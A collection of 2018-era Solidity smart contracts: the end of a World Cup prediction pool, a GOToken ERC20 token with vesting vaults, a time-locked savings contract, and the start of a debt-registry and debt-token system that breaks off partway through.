playerPointArray[_participant][j] = 2; emit PlayerPointGain(_participant, k, streak, 2); } else { playerPointArray[_participant][j] = 1; emit PlayerPointGain(_participant, k, streak, 1); } } } } } playerGamesScored[_participant] = lastPlayed; } function updateAllScores() public { uint allPlayers = playerList.length; for (uint i = 0; i < allPlayers; i++) { address _toScore = playerList[i]; emit StartAutoScoring(_toScore); updateScore(_toScore); } } function playerLastScoredGame(address _player) public view returns (int8) { return playerGamesScored[_player]; } function playerIsRegistered(address _player) public view returns (bool) { return playerRegistered[_player]; } function correctResult(int8 _gameID) public view returns (string) { return gameResult[_gameID]; } function playerGuess(int8 _gameID) public view returns (string) { return playerPredictions[msg.sender][_gameID]; } modifier isAdministrator() { address _sender = msg.sender; if (_sender == administrator) { _; } else { revert(); } } function addNewGame(string _opponents, int8 _gameID) isAdministrator public { worldCupGameID[_opponents] = _gameID; } function logResult(int8 _gameID, string _winner) isAdministrator public { require((int8(0) < _gameID) && (_gameID <= 64) && _gameID == latestGameFinished + 1); if (_gameID > 48 && equalStrings(_winner, "DRAW")) { revert(); } else { require(!gameFinished[_gameID]); gameFinished [_gameID] = true; gameResult [_gameID] = _winner; latestGameFinished = _gameID; assert(gameFinished[_gameID]); } } function concludeTournament(address _first , address _second , address _third , address _fourth) isAdministrator public { require(gameFinished[64] && playerIsRegistered(_first) && playerIsRegistered(_second) && playerIsRegistered(_third) && playerIsRegistered(_fourth)); givethAddress.send(givethPool); uint tenth = prizePool.div(10); _first.send (tenth.mul(4)); _second.send(tenth.mul(3)); _third.send (tenth.mul(2)); _fourth.send(address(this).balance); selfdestruct(administrator); } function pullRipCord() isAdministrator public { uint players = playerList.length; for (uint i = 0; i < players; i++) { address _toRefund = playerList[i]; _toRefund.send(0.19171 ether); emit RipcordRefund(_toRefund); } selfdestruct(administrator); } function _isCorrectBuyin(uint _buyin) private pure returns (bool) { return _buyin == 0.2018 ether; } function compare(string _a, string _b) private pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function equalStrings(string _a, string _b) pure private returns (bool) { return compare(_a, _b) == 0; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function addint16(int16 a, int16 b) internal pure returns (int16) { int16 c = a + b; assert(c >= a); return c; } function addint256(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; assert(c >= a); return c; } }
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pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } pragma solidity ^0.4.23; contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } pragma solidity ^0.4.23; library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } pragma solidity ^0.4.23; contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } pragma solidity ^0.4.23; contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.23; contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } pragma solidity ^0.4.23; contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } pragma solidity ^0.4.23; contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } pragma solidity ^0.4.23; contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } pragma solidity ^0.4.23; contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } pragma solidity ^0.4.24; contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken { string public constant name = "GOToken"; string public constant symbol = "GOT"; uint8 public constant decimals = 18; constructor() public { paused = true; } } pragma solidity ^0.4.24; contract PGOMonthlyInternalVault { using SafeMath for uint256; using SafeERC20 for GotToken; struct Investment { address beneficiary; uint256 totalBalance; uint256 released; } uint256 public constant VESTING_DIV_RATE = 21; uint256 public constant VESTING_INTERVAL = 30 days; uint256 public constant VESTING_CLIFF = 90 days; uint256 public constant VESTING_DURATION = 720 days; GotToken public token; uint256 public start; uint256 public end; uint256 public cliff; mapping(address => Investment) public investments; function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public { require(token == address(0)); require(beneficiaries.length == balances.length); start = startTime; cliff = start.add(VESTING_CLIFF); end = start.add(VESTING_DURATION); token = GotToken(_token); for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) { investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0); } } function release(address beneficiary) public { uint256 unreleased = releasableAmount(beneficiary); require(unreleased > 0); investments[beneficiary].released = investments[beneficiary].released.add(unreleased); token.safeTransfer(beneficiary, unreleased); } function release() public { release(msg.sender); } function getInvestment(address beneficiary) public view returns(address, uint256, uint256) { return ( investments[beneficiary].beneficiary, investments[beneficiary].totalBalance, investments[beneficiary].released ); } function releasableAmount(address beneficiary) public view returns (uint256) { return vestedAmount(beneficiary).sub(investments[beneficiary].released); } function vestedAmount(address beneficiary) public view returns (uint256) { uint256 vested = 0; if (block.timestamp >= cliff && block.timestamp < end) { uint256 totalBalance = investments[beneficiary].totalBalance; uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE); uint256 time = block.timestamp.sub(cliff); uint256 elapsedOffsets = time.div(VESTING_INTERVAL); uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance); vested = vested.add(vestedToSum); } if (block.timestamp >= end) { vested = investments[beneficiary].totalBalance; } return vested; } } pragma solidity ^0.4.24; contract PGOMonthlyPresaleVault is PGOMonthlyInternalVault { function vestedAmount(address beneficiary) public view returns (uint256) { uint256 vested = 0; if (block.timestamp >= start) { vested = investments[beneficiary].totalBalance.div(3); } if (block.timestamp >= cliff && block.timestamp < end) { uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3); uint256 totalBalance = investments[beneficiary].totalBalance; uint256 lockedBalance = totalBalance.sub(unlockedStartBalance); uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE); uint256 daysToSkip = 90 days; uint256 time = block.timestamp.sub(start).sub(daysToSkip); uint256 elapsedOffsets = time.div(VESTING_INTERVAL); vested = vested.add(elapsedOffsets.mul(monthlyBalance)); } if (block.timestamp >= end) { vested = investments[beneficiary].totalBalance; } return vested; } }
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pragma solidity ^0.4.11; contract hodlEthereum { event Hodl(address indexed hodler, uint indexed amount); event Party(address indexed hodler, uint indexed amount); mapping (address => uint) public hodlers; uint constant partyTime = 1546502555; function() payable { hodlers[msg.sender] += msg.value; Hodl(msg.sender, msg.value); } function party() { require (block.timestamp > partyTime && hodlers[msg.sender] > 0); uint value = hodlers[msg.sender]; hodlers[msg.sender] = 0; msg.sender.transfer(value); Party(msg.sender, value); } }
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pragma solidity ^0.4.18; pragma solidity 0.4.18; contract PermissionEvents { event Authorized(address indexed agent, string callingContext); event AuthorizationRevoked(address indexed agent, string callingContext); } library PermissionsLib { event Authorized(address indexed agent, string callingContext); event AuthorizationRevoked(address indexed agent, string callingContext); struct Permissions { mapping (address => bool) authorized; mapping (address => uint) agentToIndex; address[] authorizedAgents; } function authorize( Permissions storage self, address agent, string callingContext ) internal { require(isNotAuthorized(self, agent)); self.authorized[agent] = true; self.authorizedAgents.push(agent); self.agentToIndex[agent] = self.authorizedAgents.length - 1; Authorized(agent, callingContext); } function revokeAuthorization( Permissions storage self, address agent, string callingContext ) internal { require(isAuthorized(self, agent)); uint indexOfAgentToRevoke = self.agentToIndex[agent]; uint indexOfAgentToMove = self.authorizedAgents.length - 1; address agentToMove = self.authorizedAgents[indexOfAgentToMove]; delete self.authorized[agent]; self.authorizedAgents[indexOfAgentToRevoke] = agentToMove; self.agentToIndex[agentToMove] = indexOfAgentToRevoke; delete self.agentToIndex[agent]; delete self.authorizedAgents[indexOfAgentToMove]; self.authorizedAgents.length -= 1; AuthorizationRevoked(agent, callingContext); } function isAuthorized(Permissions storage self, address agent) internal view returns (bool) { return self.authorized[agent]; } function isNotAuthorized(Permissions storage self, address agent) internal view returns (bool) { return !isAuthorized(self, agent); } function getAuthorizedAgents(Permissions storage self) internal view returns (address[]) { return self.authorizedAgents; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } pragma solidity 0.4.18; contract DebtRegistry is Pausable, PermissionEvents { using SafeMath for uint; using PermissionsLib for PermissionsLib.Permissions; struct Entry { address version; address beneficiary; address underwriter; uint underwriterRiskRating; address termsContract; bytes32 termsContractParameters; uint issuanceBlockTimestamp; } mapping (bytes32 => Entry) internal registry; mapping (address => bytes32[]) internal debtorToDebts; PermissionsLib.Permissions internal entryInsertPermissions; PermissionsLib.Permissions internal entryEditPermissions; string public constant INSERT_CONTEXT = "debt-registry-insert"; string public constant EDIT_CONTEXT = "debt-registry-edit"; event LogInsertEntry( bytes32 indexed agreementId, address indexed beneficiary, address indexed underwriter, uint underwriterRiskRating, address termsContract, bytes32 termsContractParameters ); event LogModifyEntryBeneficiary( bytes32 indexed agreementId, address indexed previousBeneficiary, address indexed newBeneficiary ); modifier onlyAuthorizedToInsert() { require(entryInsertPermissions.isAuthorized(msg.sender)); _; } modifier onlyAuthorizedToEdit() { require(entryEditPermissions.isAuthorized(msg.sender)); _; } modifier onlyExtantEntry(bytes32 agreementId) { require(doesEntryExist(agreementId)); _; } modifier nonNullBeneficiary(address beneficiary) { require(beneficiary != address(0)); _; } function doesEntryExist(bytes32 agreementId) public view returns (bool exists) { return registry[agreementId].beneficiary != address(0); } function insert( address _version, address _beneficiary, address _debtor, address _underwriter, uint _underwriterRiskRating, address _termsContract, bytes32 _termsContractParameters, uint _salt ) public onlyAuthorizedToInsert whenNotPaused nonNullBeneficiary(_beneficiary) returns (bytes32 _agreementId) { Entry memory entry = Entry( _version, _beneficiary, _underwriter, _underwriterRiskRating, _termsContract, _termsContractParameters, block.timestamp ); bytes32 agreementId = _getAgreementId(entry, _debtor, _salt); require(registry[agreementId].beneficiary == address(0)); registry[agreementId] = entry; debtorToDebts[_debtor].push(agreementId); LogInsertEntry( agreementId, entry.beneficiary, entry.underwriter, entry.underwriterRiskRating, entry.termsContract, entry.termsContractParameters ); return agreementId; } function modifyBeneficiary(bytes32 agreementId, address newBeneficiary) public onlyAuthorizedToEdit whenNotPaused onlyExtantEntry(agreementId) nonNullBeneficiary(newBeneficiary) { address previousBeneficiary = registry[agreementId].beneficiary; registry[agreementId].beneficiary = newBeneficiary; LogModifyEntryBeneficiary( agreementId, previousBeneficiary, newBeneficiary ); } function addAuthorizedInsertAgent(address agent) public onlyOwner { entryInsertPermissions.authorize(agent, INSERT_CONTEXT); } function addAuthorizedEditAgent(address agent) public onlyOwner { entryEditPermissions.authorize(agent, EDIT_CONTEXT); } function revokeInsertAgentAuthorization(address agent) public onlyOwner { entryInsertPermissions.revokeAuthorization(agent, INSERT_CONTEXT); } function revokeEditAgentAuthorization(address agent) public onlyOwner { entryEditPermissions.revokeAuthorization(agent, EDIT_CONTEXT); } function get(bytes32 agreementId) public view returns(address, address, address, uint, address, bytes32, uint) { return ( registry[agreementId].version, registry[agreementId].beneficiary, registry[agreementId].underwriter, registry[agreementId].underwriterRiskRating, registry[agreementId].termsContract, registry[agreementId].termsContractParameters, registry[agreementId].issuanceBlockTimestamp ); } function getBeneficiary(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns(address) { return registry[agreementId].beneficiary; } function getTermsContract(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns (address) { return registry[agreementId].termsContract; } function getTermsContractParameters(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns (bytes32) { return registry[agreementId].termsContractParameters; } function getTerms(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns(address, bytes32) { return ( registry[agreementId].termsContract, registry[agreementId].termsContractParameters ); } function getIssuanceBlockTimestamp(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns (uint timestamp) { return registry[agreementId].issuanceBlockTimestamp; } function getAuthorizedInsertAgents() public view returns(address[]) { return entryInsertPermissions.getAuthorizedAgents(); } function getAuthorizedEditAgents() public view returns(address[]) { return entryEditPermissions.getAuthorizedAgents(); } function getDebtorsDebts(address debtor) public view returns(bytes32[]) { return debtorToDebts[debtor]; } function _getAgreementId(Entry _entry, address _debtor, uint _salt) internal pure returns(bytes32) { return keccak256( _entry.version, _debtor, _entry.underwriter, _entry.underwriterRiskRating, _entry.termsContract, _entry.termsContractParameters, _salt ); } } pragma solidity 0.4.18; interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC721Basic { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract DeprecatedERC721 is ERC721 { function takeOwnership(uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; function tokensOf(address _owner) public view returns (uint256[]); } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract ERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4); } contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; Approval(owner, _to, _tokenId); } } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); Transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) { address owner = ownerOf(_tokenId); return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Token is ERC721, ERC721BasicToken { string internal name_; string internal symbol_; mapping (address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; function ERC721Token(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; } function name() public view returns (string) { return name_; } function symbol() public view returns (string) { return symbol_; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } pragma solidity 0.4.18; contract DebtToken is ERC721Token, ERC165, Pausable, PermissionEvents { using PermissionsLib for PermissionsLib.Permissions; DebtRegistry public registry; PermissionsLib.Permissions internal tokenCreationPermissions; PermissionsLib.Permissions internal tokenURIPermissions; string public constant CREATION_CONTEXT = "debt-token-creation"; string public constant URI_CONTEXT = "debt-token-uri"; function DebtToken(address _registry) public ERC721Token("DebtToken", "DDT") { registry = DebtRegistry(_registry); } function supportsInterface(bytes4 interfaceID) external view returns (bool _isSupported) { return interfaceID == 0x80ac58cd; } function create( address _version, address _beneficiary, address _debtor, address _underwriter, uint _underwriterRiskRating, address _termsContract, bytes32 _termsContractParameters, uint _salt ) public whenNotPaused returns (uint _tokenId) { require(tokenCreationPermissions.isAuthorized(msg.sender)); bytes32 entryHash = registry.insert( _version, _beneficiary, _debtor, _underwriter, _underwriterRiskRating, _termsContract, _termsContractParameters, _salt ); super._mint(_beneficiary, uint(entryHash)); return uint(entryHash); } function addAuthorizedMintAgent(address _agent) public onlyOwner { tokenCreationPermissions.authorize(_agent, CREATION_CONTEXT); } function revokeMintAgentAuthorization(address _agent) public onlyOwner { tokenCreationPermissions.revokeAuthorization(_agent, CREATION_CONTEXT); } function getAuthorizedMintAgents() public view returns (address[] _agents) { return tokenCreationPermissions.getAuthorizedAgents(); } function addAuthorizedTokenURIAgent(address _agent) public onlyOwner { tokenURIPermissions.authorize(_agent, URI_CONTEXT); } function getAuthorizedTokenURIAgents() public view returns (address[] _agents) { return tokenURIPermissions.getAuthorizedAgents(); } function revokeTokenURIAuthorization(address _agent) public onlyOwner { tokenURIPermissions.revokeAuthorization(_agent, URI_CONTEXT); } function approve(address _to, uint _tokenId) public whenNotPaused { super.approve(_to, _tokenId); } function setApprovalForAll(address _to, bool _approved) public whenNotPaused { super.setApprovalForAll(_to, _approved); } function transfer(address _to, uint _tokenId) public { safeTransferFrom(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint _tokenId) public whenNotPaused { _modifyBeneficiary(_tokenId, _to); super.transferFrom(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint _tokenId) public whenNotPaused { _modifyBeneficiary(_tokenId, _to); super.safeTransferFrom(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint _tokenId, bytes _data) public whenNotPaused { _modifyBeneficiary(_tokenId, _to); super.safeTransferFrom(_from, _to, _tokenId, _data); } function setTokenURI(uint256 _tokenId, string _uri) public whenNotPaused { require(tokenURIPermissions.isAuthorized(msg.sender)); super._setTokenURI(_tokenId, _uri); } function _modifyBeneficiary(uint _tokenId, address _to) internal { if (registry.getBeneficiary(bytes32(_tokenId)) != _to) { registry.modifyBeneficiary(bytes32(_tokenId), _to); } } } pragma solidity 0.4.18; interface TermsContract { function registerTermStart( bytes32 agreementId, address debtor ) public returns (bool _success); function registerRepayment( bytes32 agreementId, address payer, address beneficiary, uint256 unitsOfRepayment, address tokenAddress ) public returns (bool _success); function getExpectedRepaymentValue( bytes32 agreementId, uint256 timestamp ) public view returns (uint256); function getValueRepaidToDate( bytes32 agreementId ) public view returns (uint256); function getTermEndTimestamp( bytes32 _agreementId ) public view returns (uint); } pragma solidity 0.4.18; contract TokenTransferProxy is Pausable, PermissionEvents { using PermissionsLib for PermissionsLib.Permissions; PermissionsLib.Permissions internal tokenTransferPermissions; string public constant CONTEXT = "token-transfer-proxy"; function addAuthorizedTransferAgent(address _agent) public onlyOwner { tokenTransferPermissions.authorize(_agent, CONTEXT); } function revokeTransferAgentAuthorization(address _agent) public onlyOwner { tokenTransferPermissions.revokeAuthorization(_agent, CONTEXT); } function getAuthorizedTransferAgents() public view returns (address[] authorizedAgents) { return tokenTransferPermissions.getAuthorizedAgents(); } function transferFrom( address _token, address _from, address _to, uint _amount ) public returns (bool _success) { require(tokenTransferPermissions.isAuthorized(msg.sender)); return ERC20(_token).transferFrom(_from, _to, _amount); } } pragma solidity 0.4.18; contract DebtKernel is Pausable { using SafeMath for uint; enum Errors { DEBT_ISSUED, ORDER_EXPIRED, ISSUANCE_CANCELLED, 